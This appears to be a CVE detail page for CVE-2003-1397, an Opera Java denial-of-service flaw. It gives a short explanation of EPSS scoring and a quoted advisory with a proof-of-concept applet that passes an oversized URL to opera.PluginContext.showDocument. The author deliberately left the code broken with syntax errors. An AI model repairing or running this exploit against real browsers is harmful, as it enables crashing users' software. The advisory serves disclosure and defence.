CVE-2003-1397 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/6814/info Opera ships with a trusted Java class ('opera.PluginContext') that includes a native method that is reportedly prone to denial of service attacks. It is possible for a malicious Java applet to trigger this condition to cause a denial of service. This issue was reported in versions of Opera for Microsoft Windows operating systems. It is not known if other platforms are also affected. Java support must enabled for this issue to be present and can be disabled to prevent attacks. //Marc Schoenefeld 1/13/2003, www.illegalaccess.org //not runnable, a little crippled, there are couple of obvious syntax errors to avoid script-kidding ... import opera.PluginContext; // !! import the vulnerable class ... public class OperaCall2 extends App1et { - - - - public OperaCall2() - - { - - } - - - - public void paint(Graphics g) - - { - - PluginContext plugincontext = new PluginContext(l); - - try - - { - - plugincontext.showDocument(new URL("http://xxx.xxx" + new String(new byte[30000]))); - - } - - catch(Exception exception) - - { - - exception.printStackTrace(); - - } - - } }